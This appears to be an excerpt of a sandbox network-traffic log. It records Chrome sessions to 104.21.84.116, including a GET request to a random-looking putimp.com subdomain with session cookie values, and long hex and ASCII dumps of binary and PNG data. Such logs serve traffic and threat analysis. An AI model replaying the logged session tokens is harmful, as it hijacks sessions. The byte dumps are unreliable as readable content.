6b e0 f8 2c 70 56 74 08 49 52 6d fd 9b d4 c4 f1 60 74 10 49 92 24 49 92 24 Data Ascii: $I w?FJ;gwH$I$I$I0b``tIR%<x+I$I$I$%!IZz[E$I$I$IgPD$IG` $I$I$IRN!I={H$I$I${Uu`$)u$I$I$IUqcoF$`w $I$I$I>Uk,pVtIRm`tI$I$
2024-04-16 19:40:14 UTC	1369	IN	Data Raw: 35 81 b4 b2 94 24 49 92 24 49 92 24 49 92 54 19 eb 00 93 88 9f 6c eb 74 5d 0b ac 91 61 fc d4 59 cb 93 9a 6e ba 7d 8b 88 4e d7 6c e0 4a dc 26 a5 aa f6 07 c6 13 7f 1e 75 ba 7e 96 63 f0 24 49 92 24 49 92 24 49 92 a4 4e e8 01 ae 23 7e 92 ad 93 f5 32 70 78 e3 73 57 75 f5 02 07 01 0f 11 7f 4e d5 b9 66 03 57 03 af 5f ba c3 a2 12 1b 01 5c 40 fc 39 d5 e9 7a 77 8e c1 93 24 49 92 24 49 92 24 49 92 8a f6 51 e2 27 d7 3a 59 37 00 6b 67 19 39 95 c5 bc 46 8e 7f 10 7f 7e d5 a9 66 00 97 01 9b 2c fd a1 50 45 bc 03 78 86 f8 73 ac 53 35 1e 18 99 65 e4 24 49 92 24 49 92 24 49 92 a4 82 ac 01 4c 24 7e 72 ad 13 35 13 38 06 57 dd a8 b3 5e e0 60 60 0c f1 e7 5b 95 6b 2a f0 5d d2 d6 4a aa af 55 81 9b 89 3f df 3a 55 97 66 19 35 49 92 24 49 92 24 49 92 24 a9 20 57 13 3f a9 d6 89 7a 16 Data Ascii: 5$I$I$ITlt]aYn}NlJ&u~c$I$I$IN#~2pxsWuNfW_\@9zw$I$I$IQ':Y7kg9F~f,PExsS5e$I$I$IL$~r58W^``[k*]JU?:Uf5I$I$I$ W?z
2024-04-16 19:40:14 UTC	1369	IN	Data Raw: 79 17 59 d7 00 23 db 1d 48 29 d0 10 e0 1f c4 5f 4b 39 ea e0 cc 63 23 49 92 24 49 92 24 49 92 a4 2e f3 7a e2 27 bd 72 d4 5f 80 01 99 c7 46 e5 b5 12 f0 00 f1 e7 5d 54 cd 01 ce 00 7a db 1d 48 a9 04 de 08 cc 26 fe ba 6a b7 ee c8 3d 30 92 24 49 92 24 49 92 24 49 ea 2e 3f 20 7e d2 ab dd 9a 01 6c 95 7b 60 54 5a cb 92 1a 76 a2 cf bb a8 9a 00 ec d1 f6 28 4a e5 72 3e f1 d7 56 8e da 36 f7 c0 48 92 24 49 92 24 49 92 24 a9 3b 8c 02 a6 12 3f e1 d5 6e 7d 25 f7 c0 a8 b4 06 00 57 11 7f ce 45 d5 c3 c0 46 6d 8f a2 54 3e cb 03 4f 10 7f 8d b5 5b 97 64 1e 17 49 92 24 49 92 24 49 92 24 75 89 e3 89 9f ec 6a b7 1e 02 96 c9 3d 30 2a ad ef 10 7f ce 45 d5 f5 c0 88 f6 87 50 2a ad b7 11 7f 9d b5 5b d3 80 d1 b9 07 46 92 24 49 92 24 49 92 24 49 f5 36 80 7a 3c ed bc 6b ee 81 51 69 7d 96 Data Ascii: yY#H)_K9c#I$I$I.z'r_F]TzH&j=0$I$I$I.? ~l{`TZv(Jr>V6H$I$I$;?n}%WEFmT>O[dI$I$I$uj=0EP[F$I$I$I6z<kQi}
2024-04-16 19:40:14 UTC	1369	IN	Data Raw: f8 7b 74 bb f5 12 b0 72 e6 b1 91 16 e5 63 c4 9f f3 39 ea 90 dc 03 23 29 d6 68 aa b7 2c d0 bc 9a de c8 af 7a fa 04 f1 e7 58 a7 6a 1a 69 89 73 49 cd f9 1a f1 d7 6f ab 75 79 01 e3 21 95 d9 86 a4 c6 db 47 89 bf fe ac f9 75 1f 70 3c e9 29 2d 49 2a 93 cd 48 4f 60 46 7f 9d b4 aa 55 8f 01 97 00 ff 45 fa de 43 92 a4 6e 72 10 f1 f7 e2 5c 75 46 e6 b1 91 fa 33 84 6a 3f 20 d8 b7 1e 21 35 71 49 aa 89 0f 13 ff 85 a5 d5 fa 49 01 e3 a1 72 d8 99 d4 a0 13 7d 8e 75 a2 a6 e2 de 7e 52 ab d6 02 66 12 7f 1d b7 52 2f 02 83 f2 0f 89 54 2a 2b 02 47 50 ed d5 de ba a5 66 03 37 02 87 02 c3 fa 3b 98 92 d4 61 a7 12 ff b5 d1 aa 7e 3d 49 5a c9 e5 9d c0 b2 48 92 54 6f 57 11 7f ef cd 55 8f 66 1e 1b a9 3f fb 11 7f ae e7 ac 6d f2 0e 8f a4 48 bf 22 fe 8b 4a ab b5 53 01 e3 a1 78 ab 03 e3 89 3f Data Ascii: {trc9#)h,zXjisIouy!Gup<)-IHO`FUECnr\uF3j? !5qIIr}u~RfR/T+GPf7;a~=IZHToWUf?mH"JSx?
2024-04-16 19:40:14 UTC	1369	IN	Data Raw: f0 2b 60 8d e0 2c ea 0e 07 93 26 b4 5c 8d 43 92 54 77 1b 02 57 91 9a cb 37 0d ce 22 49 92 24 49 2a 91 fe 1a 38 d6 01 d6 ee 74 90 0c ae c5 09 f1 3a 38 09 d8 2e 3a 44 81 ee 03 0e 04 66 46 07 91 ba d8 ef 80 d9 d1 21 5a b0 4b 74 00 75 95 fd 49 13 e9 1f 88 0e a2 ae 33 9a b4 1a c7 c5 c0 f0 e0 2c 92 24 15 6d 6f e0 ef c0 59 c0 0a c1 59 24 49 92 24 49 25 d0 5f 03 c7 f6 1d 4f 91 87 db a7 54 df 76 c0 17 a3 43 14 e8 29 60 3f 60 52 74 10 a9 cb bd 08 dc 19 1d a2 05 db 46 07 50 57 58 01 b8 80 f4 44 e8 6a c1 59 d4 dd 3e 0c dc 03 bc 21 3a 88 24 49 05 1b 04 7c 96 b4 65 dd 7b 82 b3 48 92 24 49 92 82 f5 d7 c0 f1 fa 8e a7 68 df 74 e0 0f d1 21 d4 96 e1 a4 7d cf 07 45 07 29 c8 44 d2 93 35 4f 45 07 91 04 54 b3 e9 6f 2d 60 95 e8 10 aa b5 9d 80 31 a4 6d be a4 32 d8 84 d4 70 77 54 Data Ascii: +`,&\CTwW7"I$I*8t:8.:DfF!ZKtuI3,$moYY$I$I%_OTvC)`?`RtFPWXDjY>!:$I\|e{H$Iht!}E)D5OETo-`1m2pwT
2024-04-16 19:40:14 UTC	1369	IN	Data Raw: 07 7c 3c 3a 44 66 53 81 83 80 57 a2 83 48 ca e2 29 60 52 74 88 26 55 f1 be ad e2 1c 0d 7c 2b 3a 84 54 62 a7 03 ef 8a 0e 21 49 52 87 0d 00 2e 05 0e 89 0e 22 49 92 24 49 25 f1 1b 60 6e 1b 75 63 3f ff e6 53 fd fc bd c9 c0 06 4b c8 f2 5e 60 7a 3f 1f 3b be ca 0d 1c 8f 46 07 d0 12 0d 00 ce 6f bc ad 93 a3 70 05 18 a9 6e aa 76 4f d9 30 3a 80 4a e3 10 e0 ec e8 10 52 c9 f5 02 3f 02 b6 89 0e 22 49 52 87 0d 00 2e 23 6d 2b 26 49 92 24 49 dd 6e f5 02 3e 7e 74 3f bf 37 1c 38 72 09 ff d6 89 a4 2d 30 17 b6 ea bc 06 8e 35 9b 08 56 16 8f 44 07 d0 12 1d 4e 5a 81 a3 4e 2e 03 be 1f 1d 42 52 76 55 bb a7 8c 00 96 8d 0e a1 70 6f 25 2d 8d dd 13 1d 44 aa 80 e1 c0 55 f4 ff 03 95 24 49 75 36 af 89 e3 1d d1 41 24 49 92 24 a9 8b fc 17 b0 dc 22 fe ec 2d c0 56 8b fa c0 81 8d b7 ab e6 4e Data Ascii: \|<:DfSWH)`Rt&U\|+:Tb!IR."I$I%`nuc?SK^`z?;FopnvO0:JR?"IR.#m+&I$In>~t?78r-05VDNZN.BRvUpo%-DU$Iu6A$I$"-VN
2024-04-16 19:40:14 UTC	1369	IN	Data Raw: 0d fc 8c d4 b4 51 c5 49 b1 b9 c0 83 8d 3a 9f b4 e4 de de c0 3b 1a b5 72 5c b4 da 18 0c 5c 44 5a f5 64 76 70 16 49 dd ed 24 e0 cc e8 10 1d b0 2c 69 75 a9 91 c0 28 60 0d d2 c3 21 6b 93 b6 12 db 02 57 9c eb b4 23 80 eb 49 df 37 49 92 24 49 92 da 77 26 fd 37 70 2c f1 e7 fe d3 49 2f 0a 57 a5 7c 2a ae 5c b6 25 bd c8 1d 7d 5e e4 aa f7 e5 1d 1e 75 a1 65 80 af 92 26 0c 17 77 ae fd 18 97 c3 2f 9b bd 88 ff 1a d4 6c f9 a2 76 3d 0d 06 ee 22 fe fc aa 7a dd 0a 7c 90 fa 3f e5 3b 08 38 80 d4 cd 3d 93 f8 71 af 7a cd db 97 52 52 f9 8d 25 fe 6b 46 11 75 4c ce 41 aa b8 95 48 ab 4f 1d 05 fc 84 d4 10 1f 7d 7c ea 5e 13 80 d5 97 7c 68 24 49 15 34 84 f8 fb 4c ee 5a 2f eb 08 49 af 75 19 f1 e7 79 ce 3a 36 ef f0 48 b5 72 16 0b 5e 2f ff d3 c4 c7 f6 7d 4d b6 bf 45 28 fe b4 d0 bf 7d 57 Data Ascii: QI:;r\\DZdvpI$,iu(`!kW#I7I$Iw&7p,I/W\|*\%}^ue&w/lv="z\|?;8=qzRR%kFuLAHO}\|^\|h$I4LZ/Iuy:6Hr^/}ME(}W
2024-04-16 19:40:14 UTC	1369	IN	Data Raw: 0d 0a 39 63 64 0d 0a 59 ca ae 17 38 3b 3a 84 24 49 92 24 75 8b 5e aa f7 44 d9 ac e8 00 5d ec 3d a4 49 ed aa 9b 0a 7c 36 3a 84 4a 6b 28 69 59 f9 7b 48 2f e8 75 da 09 b8 aa 42 a4 aa 2d a5 6c 03 47 b5 6d 0a 7c 3a 3a 44 09 3d 09 ec 0e 7c 9d ea 5d 93 55 36 06 d8 1e f8 59 74 90 12 3a 11 bf de 4a 52 1d cd 25 6d 95 b9 09 a9 71 5f 8b b6 0b 70 60 74 08 49 92 24 49 ea 06 bd a4 2d 02 a4 25 e9 a1 3e ab 6f 7c 9d b4 6c aa b4 b0 bd 48 13 58 5f 06 86 04 65 58 1f 57 e1 88 54 b5 c9 e2 aa 35 61 6a 41 67 e1 b6 49 0b bb 11 d8 06 b8 3d 3a 48 97 9a 0c 1c 0c 7c 0e 98 19 9c a5 4c 36 07 f6 8b 0e 21 49 2a cc 44 e0 e3 c0 bb 80 e7 83 b3 94 d9 37 88 fb 39 59 92 24 49 92 ba 46 15 b7 50 71 ff f3 18 07 90 f6 a0 af ba 47 81 6f 46 87 50 e9 8c 06 2e 07 ae 07 36 08 ce 02 ae c2 11 a9 6a f7 98 Data Ascii: 9cdY8;:$I$u^D]=I\|6:Jk(iY{H/uB-lGm\|::D=\|]U6Yt:JR%mq_p`tI$I-%>o\|lHX_eXWT5ajAgI=:H\|L6!I*D79Y$IFPqGoFP.6j

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.4	49810	104.21.84.116	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 19:40:13 UTC	1130	OUT	GET /qr61WfUGozdhThoMoyqT1oYX9BHQtkPGpGSwNBuvbfSZXhgYA5e6kaovOS5pXUef240 HTTP/1.1 Host: qnh3b.putimp.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6InRDM2krVWJKYit1K3NmMDB0c2p1MHc9PSIsInZhbHVlIjoibEYyTFEyczQ2dGR1MUpLTkl3bUtsQUN1THlkT1VQSHhUVWZvRkZJWHpxK1R0NVpNbVptclJubHBrOWtaRkE3M3g3Qks2NWJ2bmVlMHNZdWttZFp5Q3pBcXF0aERnR0VqUi95ZGNXOXpZZldodjdPUUFOUnNXZTg1dVRWWUR2OEQiLCJtYWMiOiI5YmQ0NmNhNTkzOWZiNmU5ZjUxNDE3OTExNzA2N2RkZTZjOTM2NTE4MzViNWQ4Njg1YmQzODFiMWExNTVhZWM0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkNlaEpkeUQxZnh3d1ZmVUV1SUNSTWc9PSIsInZhbHVlIjoiOHhzajhqVnpJc3BoRjR6MFQ2Y3dueXd4Q3JqdXcwU0twamkwQWkrS3NmRkNXU3ZxQnpoUGNxVDNyZGVXSzBIeGFZU243cGxLNStZNWl3NjF1TWh3aHFqdEN1Q3BtK1J6L2hXTkY0c3ZFVmZ4MTlBSlRjZjFRWWFhUldHVEloM2YiLCJtYWMiOiJmNTA3MTA2YjA1YTQ4ZjgyNTNkZGJlMWNlMzE1YjhkMWFkZGU2ZWIyOTRhYWZjMDUzODFiNWRjNzRlYzNlNmVjIiwidGFnIjoiIn0%3D
2024-04-16 19:40:15 UTC	764	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 19:40:15 GMT Content-Type: image/png Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="qr61WfUGozdhThoMoyqT1oYX9BHQtkPGpGSwNBuvbfSZXhgYA5e6kaovOS5pXUef240" Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9zHIrWB%2FBexjewt5mepPSdrJ79MTjEYUNqKKqjz2tLzaVnyz5tjZJADRZwiINbudj%2Bj3tecRlwgpfRdHh7MPhGQp4KQR0ap%2BuDqH1LBAD6loerUCxP93HDkpH4LH9Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8756a55b1f57b057-ATL
2024-04-16 19:40:15 UTC	605	IN	Data Raw: 32 65 64 30 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 fa 00 00 01 2f 08 06 00 00 00 ad e6 03 d5 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 20 00 49 44 41 54 78 5e ec 5d 07 58 53 49 17 3d 88 20 4d b0 80 14 11 54 b0 60 03 b1 8b 58 10 c5 de c5 82 bd ae 7d 7f 5d fb ae 7d ed ab ae ae ae 65 d7 ae 6b ef 1d 7b af 28 2a 56 ec a2 a0 82 82 60 a1 f8 fe 6f 26 10 13 29 69 2f c9 cb cb cc f7 c5 48 32 73 e7 de 73 ef 9b 93 79 6f e6 8e 09 58 61 08 30 04 18 02 0c 01 86 00 43 40 b4 08 98 88 d6 32 66 18 43 80 21 c0 10 60 08 30 04 18 02 60 44 cf 82 80 21 c0 10 60 08 30 04 18 02 22 46 80 11 bd 88 9d cb 4c 63 08 30 04 18 02 0c 01 86 00 23 7a 03 8b 81 b0 1b e1 dc a1 83 07 10 15 15 85 d7 af 5e e1 d5 ab 57 f8 f6 ed 1b 0a 17 76 45 61 d7 c2 28 52 c4 0d d5 ab 57 Data Ascii: 2ed0PNGIHDR/sRGB IDATx^]XSI= MT`X}]}ek{(*V`o&)i/H2ssyoXa0C@2fC!`0`D!`0"FLc0#z^WvEa(RW
2024-04-16 19:40:15 UTC	1369	IN	Data Raw: 2c d5 aa 54 99 f2 08 ee de 17 a6 a6 b9 d5 d6 f4 e5 f3 a7 58 bf 7c 11 be 7c f9 4c 65 74 ef d1 03 a3 46 8e 64 be 57 1b 51 d6 90 21 c0 10 60 08 18 0e 02 6c b0 e7 c1 57 67 ce 9e e3 7e 9f 36 15 2f 5e bc e0 41 da 77 11 ae 6e 45 d1 7d c0 ff 60 66 66 a6 b1 dc 53 a1 07 70 e2 f0 3e a9 9c 21 43 87 22 29 29 09 4f 9f 3e 45 fc 87 0f 39 ca cf 97 2f 3f 8a 16 2b 86 62 c5 8a a1 48 91 22 70 2d 52 04 4e 85 1c 58 ec 68 ec 15 26 80 21 c0 10 60 08 68 1f 01 36 58 f3 80 f1 b0 9f 7f e6 8e 86 86 f2 20 e9 bb 08 33 33 73 0c 1d 3b 59 a9 e7 f1 39 75 1c 11 1e 86 63 07 77 23 ee dd 5b 5e f5 73 75 75 85 9b bb 3b 25 fe 0a de de a8 57 2f 00 76 79 6d 58 3c f1 8a 32 13 c6 10 60 08 30 04 34 47 80 0d cc 1a 62 78 f7 fe 03 ae 43 fb 76 72 2b dc 35 14 49 9b 07 b5 68 87 1a b5 03 d4 12 95 92 9c 8c f0 Data Ascii: ,TX\|\|LetFdWQ!`lWg~6/^AwnE}`ffSp>!C"))O>E9/?+bH"p-RNXh&!`h6X 33s;Y9ucw#[^suu;%W/vymX<2`04GbxCvr+5Ih
2024-04-16 19:40:15 UTC	1369	IN	Data Raw: d2 77 30 3c 4b 95 91 6a b6 7d e3 2a dc 0a bb 22 fd 9b 2c d4 23 24 5f d0 c1 51 0d ed f5 db 84 90 3d 49 e0 f3 ed db 37 aa 88 b5 b5 35 5d 29 ac ee 6e 05 59 6b 64 17 e1 0d 1c 38 10 e4 c5 0a 43 c0 98 10 e8 d9 b3 27 ae 5c 91 8c 15 4b 97 2d 87 7f 2d 3f 8d c6 25 63 c2 4e cc b6 b2 20 50 c3 bb 33 67 ce e2 d6 ad 93 9c 2c 17 dc a1 23 26 4e f8 4d 63 1c 97 2e 5b c6 2d 5a b8 90 ca ac 59 27 10 0d 9b b7 c1 97 2f 5f b0 7c fe 0c b9 a4 37 e4 73 f2 bd 21 97 07 77 6e 61 d7 e6 75 72 cf ee 27 4e 9a 84 60 0d ef 8a 30 a2 37 e4 a8 60 ba f3 81 00 23 7a 3e 50 14 9f 0c 8d 09 4a 7c 90 e4 6c d1 87 84 04 2e b8 5d 7b 44 45 49 16 ce ad f8 f7 5f d4 ac 5e 5d 63 1c 65 ef 12 90 63 68 eb 37 6d 85 3d 9b d7 49 67 be a4 af 36 9d 7b a0 82 6f 55 51 40 4e f6 df ef da bc 56 2e 35 ef 88 5f 46 a2 57 cf Data Ascii: w0<Kj}*",#$_Q=I75])nYkd8C'\K--?%cN P3g,#&NMc.[-ZY'/_\|7s!wnaur'N`07`#z>PJ\|l.]{DEI_^]cech7m=Ig6{oUQ@NV.5_FW
2024-04-16 19:40:15 UTC	1369	IN	Data Raw: 0d 11 60 44 af 21 80 ac 39 d4 1a 50 8d 09 b7 df a7 4f e7 36 6e d8 40 4d ee d2 b5 1b c6 8e 19 cd 0b 66 59 cd e6 3f 26 c4 e3 f0 9e 6d b8 7d e3 1a 7e 1e 37 d5 28 9e d5 47 84 5f c3 d9 13 a1 78 9d 9e 06 b7 51 e3 c6 f8 63 ee 5c b5 30 e6 93 e8 ed 2d 2c 30 a9 72 25 34 73 97 fc f8 22 65 f7 d3 a7 98 7d e3 26 a2 92 92 e8 df e5 0b 14 c0 af be 15 51 cd b1 90 b4 ce da 07 0f 31 e1 8a e4 ee 0f 29 25 ed ec f0 6b 25 5f d4 76 76 92 7e b6 f2 de 7d 4c b9 16 26 fd db df d9 09 fe 4e 4e 70 b0 b4 14 dc a5 15 fb e5 0b 8e 45 bd c2 85 98 18 c1 e9 66 2c 0a 31 a2 37 16 4f 6b cf 4e b5 06 54 ed a9 23 2c c9 b1 ef 3f d0 45 78 b1 b1 b1 54 b1 35 6b d7 a1 72 25 5f 8d 31 cb 6a 36 1f 79 ef 0e ce 1c 3b 48 fb a9 1b d4 0c 7e 75 1b 08 0b 0c 9e b5 89 79 fd 8a ce e2 6f 86 5d 96 93 3c 6a f4 18 74 ef Data Ascii: `D!9PO6n@MfY?&m}~7(G_xQc\0-,0r%4s"e}&Q1)%k%_vv~}L&NNpEf,17OkNT#,?ExT5kr%_1j6y;H~uyo]<jt
2024-04-16 19:40:15 UTC	1369	IN	Data Raw: 13 ec f2 e5 97 42 99 92 92 8c 13 87 f6 e1 fc a9 a3 74 cb 5d db 10 49 66 3e a1 96 47 f7 ef d2 59 fc 93 48 f9 95 e4 3d da 97 a5 b7 ea f3 db 59 e4 a8 fa 37 33 37 98 39 74 d4 18 63 46 f4 42 8d 10 a6 97 26 08 30 a2 d7 04 3d d6 96 72 19 83 41 1e 81 7f 57 ae e2 e6 fd 31 97 7e d8 30 28 08 f3 e7 cd e3 05 a3 9b b7 23 b8 4e e9 ab f8 89 6c 5b bb 7c 68 d2 ba 03 4a 97 f3 96 53 e0 e1 dd db d8 b7 7d 13 e2 3f c4 a1 aa 5f 1d d4 6f d2 12 79 f2 e4 4c 94 fa f2 61 c2 87 f7 94 e0 2f 9f 3b 25 a7 42 ed 6a ae e8 d5 a1 1c 7c cb 4b d6 1f 28 53 4c 5d 46 69 8c 33 23 7a 65 90 66 75 0c 0d 01 46 f4 86 e6 31 e1 e9 ab f1 e0 2a 3c 93 34 d3 28 b8 43 07 2e e2 f6 6d 2a 64 f6 9c b9 68 da a4 31 2f 18 ed 3b 70 80 1b 3d 72 24 95 6b 97 af 00 06 8f 9e 00 33 33 c9 82 34 52 c8 ed ee fd db ff c3 bd 88 Data Ascii: Bt]If>GYH=Y7379tcFB&0=rAW1~0(#Nl[\|hJS}?_oyLa/;%Bj\|K(SL]Fi3#zefuF1<4(C.mdh1/;p=r$k334R
2024-04-16 19:40:15 UTC	1369	IN	Data Raw: 92 4d ee d0 ee ad 20 ab d9 ab d4 ac 83 fa 8d 5b d0 74 b7 19 25 29 31 91 e6 c0 bf 19 76 19 f6 0e 8e 34 07 7e 91 a2 c5 79 87 3c f9 eb 17 e9 6d fa 8c 1f 22 a4 93 4a e5 1d e9 73 78 ff 6a ca ef e5 af d0 60 0d d5 cf dc cc 14 57 0f 74 51 49 d7 54 0b 5f e4 29 10 a8 11 ee 8c e8 55 82 9c b7 ca 4e 56 96 b0 33 37 47 5e 33 73 e4 ce 65 02 8e 03 d2 38 0e 09 c9 c9 88 4f 4e 46 cc e7 cf bc f5 65 8c 82 18 d1 1b a3 d7 f9 b5 59 a3 81 95 5f 55 f4 23 ed c0 c1 43 dc c8 5f 46 d0 ce bd 7d 7c b0 71 c3 06 ad 60 22 7b eb be a8 47 09 3c 7d f4 10 ae 6e 45 d1 ac 5d e7 4c 89 71 48 32 1a 72 9b fe cb 97 cf 08 6c da 0a b5 ea 35 94 03 87 1c 1c 43 d2 e3 92 ef 34 c9 9a 77 eb fa 15 7a 9b 9e 6c ef cb 28 24 5d 2d 21 78 b2 a0 4e 95 72 e4 f4 53 fc 32 55 92 21 cf b7 9c 23 56 cf 6f a4 4a 73 a4 58 d5 Data Ascii: M [t%)1v4~y<m"Jsxj`WtQIT_)UNV37G^3se8ONFeY_U#C_F}\|q`"{G<}nE]LqH2rl5C4wzl($]-!xNrS2U!#VoJsX
2024-04-16 19:40:15 UTC	1369	IN	Data Raw: e1 d7 2e d1 e7 f9 e4 56 7f cd 3a 81 99 52 e8 92 7a f7 6e 87 e3 c2 e9 63 78 f6 58 b2 f8 4f b6 1c df 12 0c fb fc fc ec c3 7f ff e1 0b ba 0c 3b 80 17 af 3e d2 2e c8 11 b5 7d 3a c9 af 2d 50 c6 27 5f f2 0d 80 b5 55 5e 8d f1 67 44 af 0c da 99 eb 84 94 f0 44 ef d2 a5 51 dc 56 18 27 24 66 68 78 f7 fd 07 fc 7b ef 1e b6 3d fe fe b8 49 3d 0b 0d bb 15 23 7a c3 f6 9f 10 b4 d7 78 70 15 82 11 aa ea 10 fd e6 2d 17 18 50 0f 64 d6 4b ca 96 ad db 50 b6 8c 97 56 b1 b8 7e 23 9c eb 12 d2 99 f6 67 69 69 85 d1 53 e7 ca a9 1d 11 7e 8d 3e 8b 27 04 5e a3 4e 7d 04 34 6a 2e 97 03 9f 24 cc d9 b7 7d a3 e4 56 7f 31 4f 34 6b d7 29 53 0a 5d 52 87 6c bb 23 8b fa 64 4b 5e 1b 73 7c 4c 4c a6 1f 91 5b f5 3b ff 69 a9 2a 64 99 ea 93 85 77 13 e6 9e c3 f9 ab 92 0c 7a 65 4b 16 c4 da 3f 9b c0 2c 77 Data Ascii: .V:RzncxXO;>.}:-P'_U^gDDQV'$fhx{=I=#zxp-PdKPV~#giiS~>'^N}4j.$}V1O4k)S]Rl#dK^s\|LL[;i*dwzeK?,w
2024-04-16 19:40:15 UTC	1369	IN	Data Raw: 80 62 b0 b2 d4 3c 53 5a aa 65 4d e4 c9 5f 8b 77 ec 19 d1 e7 1c 06 b3 aa 57 45 07 0f f9 ac 8a 5a 0b 1c 2d 0b fe f7 de 7d 4c bd 16 a6 e5 5e 84 21 9e 11 bd 30 fc 60 c8 5a f0 3e d8 0a 19 8c 7e fd fa 73 e7 ce 49 b6 9e 8d 19 3b 0e 5d bb 84 e8 dc fe a7 cf 5f 70 5d 43 42 10 97 7e db dd cc cc 0c 26 b9 72 a1 6e 83 a6 a8 5e 3b 00 b9 72 c9 6f 4f 23 5b e5 c8 6a fa d8 b7 92 63 74 49 29 ea 56 08 bd 82 4b a0 55 90 a7 90 e1 ce 52 37 6d dc b2 cf e8 88 11 7d f6 e1 40 08 9e 10 3d df 25 39 25 05 4f a3 62 f0 fa 4d 1c 3e 26 7d 42 4a 4a 2a f2 da 58 c1 3e bf 2d 8a 16 76 42 3e 5b 1b be bb a4 f2 12 53 52 30 fa e2 65 ec 7f fe 5c 2b f2 85 24 94 11 bd 90 bc 61 98 ba e8 9c e8 f4 05 d3 83 c8 48 ae 75 4b c9 fe f1 bc 79 6d b1 6d c7 0e b8 ba 38 eb c5 fe b9 7f fc c1 ad 5a b9 92 ea 62 63 6b Data Ascii: b<SZeM_wWEZ-}L^!0`Z>~sI;]_p]CB~&rn^;roO#[jctI)VKUR7m}@=%9%ObM>&}BJJ*X>-vB>[SR0e\+$aHuKymm8Zbck
2024-04-16 19:40:15 UTC	1369	IN	Data Raw: 70 ca af 90 56 cd 3f b9 90 96 a7 3c 52 2d 7c 60 65 ed a8 57 6c 19 d1 7f f7 9c 9d b9 39 0e 37 6d 0c 27 2b 2b d5 dc a9 a0 76 6a 5a 1a 76 85 9e 53 4b 66 f9 52 c5 51 aa 98 ab 5a 6d 15 35 ba f7 e1 03 1a ed 3f a8 a8 9a 41 7e cf 88 de 20 dd 26 28 a5 f5 3a 30 6b 1b 89 09 13 27 72 db b7 6d a3 dd f4 ec d5 1b bf 8c 18 2e 6a 7b b3 c3 33 e9 f3 67 ce 34 f9 1e 4c 93 1f 22 57 ca 53 5e 60 27 47 cc a6 99 97 40 9a 79 69 58 5b d9 09 02 57 46 f4 df 5d 5b b5 50 21 6c 69 50 9f 17 5f ff 28 e4 c0 c9 4b f8 f4 e5 fb 09 88 ca 76 e2 5f a5 3c 1c 0b 66 7f b6 82 b2 72 b2 aa 47 96 0c 04 ed 3f 80 07 1f c4 97 ff 9e 11 bd 26 91 c1 da 12 04 04 31 40 6b c3 15 09 89 49 5c ed 5a 7e 48 49 91 64 cd 5a b7 7e 03 7c 2b fa 88 d6 5e 65 31 fc f4 29 9e cb 95 f2 82 66 d5 33 49 7b 83 5c a9 af 15 37 35 31 Data Ascii: pV?<R-\|`eWl97m'++vjZvSKfRQZm5?A~ &(:0k'rm.j{3g4L"WS^`'G@yiX[WF][P!liP_(Kv_<frG?&1@kI\Z~HIdZ~\|+^e1)f3I{\751
2024-04-16 19:40:15 UTC	435	IN	Data Raw: b1 a2 2f 66 cc 9a 85 22 85 5d 0c c6 4e c3 09 1d e1 69 ca 88 fe bb 4f cc 72 e5 c2 9e 46 41 f0 ca 9f 4f 65 47 a9 92 0c 47 65 e1 d9 34 b0 2f 60 47 c9 5e dd 72 f9 cd 5b 04 87 2a 9e 00 a8 2b 5f 9f ed 18 d1 eb 13 7d 71 f4 6d 10 04 78 23 fc 26 d7 a7 77 2f 7c fe fc 59 8a 7a e5 1a fe a8 e0 5b 15 6e c5 24 7b 74 93 93 bf e2 f1 83 7b 08 bb 7c 1e 0f ee dc 92 d6 f3 f6 f1 c1 46 b6 c5 4e 1c d1 aa c0 0a 46 f4 f2 00 cd aa 5e 15 1d 3c 54 df c3 be f7 f8 05 de 9e c7 ab 12 78 7e be 65 e1 5c a8 a0 2a 4d a4 75 ff bd 77 1f 53 af 85 a9 d5 56 e8 8d 18 d1 0b dd 43 c2 d7 cf 20 88 be 73 e7 10 2e 3c 5c 92 c3 da 2e 5f 7e b4 e9 dc 03 ee c5 b3 5f 51 7c ed e2 59 ec dd b6 51 8a 7e a7 ce 21 f8 75 fc 38 83 b0 55 f8 21 23 5c 0d 19 d1 cb fb 46 9d 13 ec 94 d9 1b af ad 08 28 e3 e9 0e f2 52 a7 90 Data Ascii: /f"]NiOrFAOeGGe4/`G^r[+_}qmx#&w/\|Yz[n${t{\|FNF^<Tx~e\MuwSVC s.<\._~_Q\|YQ~!u8U!#\F(R

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.4	49811	104.21.84.116	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
